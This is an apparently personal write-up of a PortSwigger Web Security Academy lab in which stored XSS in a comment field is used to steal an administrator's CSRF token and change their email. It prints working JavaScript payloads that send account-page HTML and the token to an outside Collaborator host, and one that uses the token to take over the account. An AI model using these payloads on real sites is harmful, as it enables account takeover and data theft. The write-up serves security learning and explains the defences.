Skip to content

Exploiting XSS bypass CSRF defenses

Field Value
Platform PortSwigger Web Security Academy
Difficulty Expert
Vulnerability Stored XSS — CSRF Token Theft + Account Takeover
Injection Point Comment field
Goal Change the administrator's email by stealing their CSRF token via XSS

Lab — Stored XSS: CSRF Token Theft + Account Takeover

What is a CSRF Token and Why Does it Matter Here?

A CSRF (Cross-Site Request Forgery) token is a unique, secret, unpredictable value generated by the server and embedded in forms. When a user submits a form, the server checks that the token matches what it issued — proving the request came from the legitimate page, not from an attacker tricking the user into submitting a request from a different site.

CSRF tokens are a defence against CSRF attacks, where an attacker tricks a victim into making an unwanted authenticated request (e.g. changing their email). The token stops this because the attacker doesn't know the victim's token.

However, CSRF tokens don't protect against XSS. If an attacker can execute JavaScript in the victim's browser via XSS, that JavaScript runs in the same origin as the page — it can read the CSRF token from the DOM and use it to make authenticated requests on behalf of the victim.

This lab chains Stored XSS with CSRF token theft to change the administrator's email address.


Solution Walkthrough

Step 1 — Log in as wiener and understand the email change request

Logging in as wiener:peter and intercepting the change email request:

Screenshot
POST /my-account/change-email HTTP/1.1

[email protected]&csrf=fWD3ZacdQcx99R1jYP2XQExWKNxIu6Sz
Screenshot

The email change requires both the new email and a valid CSRF token. Inspecting the page source confirms the token is embedded in a hidden input:

<input required type="hidden" name="csrf" value="fWD3ZacdQcx99R1jYP2XQExWKNxIu6Sz">
Screenshot

This token belongs to wiener. We need the administrator's token to change their email.


Step 2 — Exfiltrate the admin's CSRF token via XSS

Since the comment field has Stored XSS, we can inject JavaScript that runs in the administrator's browser when they view the comments. The attack plan:

  1. Make a synchronous GET request to /my-account — which returns the admin's account page including their CSRF token
  2. Send the full page HTML to Burp Collaborator (base64-encoded to avoid encoding issues)
<script>
  var req = new XMLHttpRequest();
  req.open("GET", "/my-account", false);  // false = synchronous — wait for response before continuing
  req.send();
  var response = req.responseText;
  var req2 = new XMLHttpRequest();
  req2.open("GET", "https://COLLABORATOR.oastify.com?response=" + btoa(response));
  req2.send();
</script>

[!note] false as the third argument to req.open() makes the request synchronous — the script waits for the response before proceeding. This is critical here because req2 depends on the data from req. If req were asynchronous, response might be empty when req2 fires.

Posting this as a comment:

Screenshot
Screenshot

Burp Collaborator receives the request. Decoding the base64 response reveals the administrator's account page:

Screenshot
<p>Your username is: administrator</p>
<p>Your email is: <span id="user-email">[email protected]</span></p>
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <input required type="hidden" name="csrf" value="uYNMpB8lIGa2cSqQRJXo5hSlJhwP3gsp">
</form>

Administrator CSRF token: uYNMpB8lIGa2cSqQRJXo5hSlJhwP3gsp


Step 3 — Use regex to extract the token more cleanly

Instead of decoding the entire HTML, the script can extract just the token using a regex:

<script>
  var req = new XMLHttpRequest();
  req.open("GET", "/my-account", false);
  req.send();
  var response = req.responseText;
  var csrfToken = response.match(/name="csrf" value="(.*?)"/)[1];
  var req2 = new XMLHttpRequest();
  req2.open("GET", "https://COLLABORATOR.oastify.com?token=" + btoa(csrfToken));
  req2.send();
</script>
Screenshot

Collaborator receives only the token value — no need to decode a full HTML page:

Screenshot

Step 4 — Combine: steal token and change email in a single payload

Rather than exfiltrating the token and manually using it, we can do everything in one script — fetch the token and immediately use it to change the admin's email:

<script>
  var req = new XMLHttpRequest();
  req.open("GET", "/my-account", false);
  req.send();
  var response = req.responseText;
  var csrfToken = response.match(/name="csrf" value="(.*?)"/)[1];

  var req2 = new XMLHttpRequest();
  var data = "email=" + encodeURIComponent("[email protected]") + "&csrf=" + encodeURIComponent(csrfToken);
  req2.open("POST", "/my-account/change-email", true);
  req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  req2.send(data);
</script>

What this script does step by step:

  1. Synchronous GET to /my-account — fetches the admin's account page and waits for the full response
  2. Regex extractionresponse.match(/name="csrf" value="(.*?)"/)[1] captures just the token value from the hidden input
  3. POST to /my-account/change-email — submits the email change form with the stolen CSRF token and the attacker's chosen email address
  4. Content-Type header — must be application/x-www-form-urlencoded to match what the server expects from a form submission
  5. encodeURIComponent() — encodes both the email and token to ensure special characters don't break the POST body

Posting this as a comment:

Screenshot
Screenshot

Checking the Network tab confirms the POST succeeded:

Screenshot
Screenshot
{
    "email": "[email protected]",
    "csrf": "1WxxDhqYUSTvm0swRJnR1ATxtkLRbrMZ"
}

Response: That email is not available — the email change did work (the email was already used by a previous attempt). Lab solved :P


Why CSRF Tokens Don't Help Against XSS

This lab illustrates a fundamental principle of web security:

Attack CSRF Token Helps? Why
CSRF from another origin ✅ Yes Attacker doesn't know the token — can't forge the request
XSS on the same origin ❌ No JavaScript runs in the same origin — can read the token from the DOM

CSRF tokens prove that a request originated from the legitimate page. XSS allows attackers to execute JavaScript as if they were the legitimate page — so they can read whatever the page can read, including the CSRF token.

The actual defences against XSS are: output encoding, Content Security Policy, and input validation — not CSRF tokens.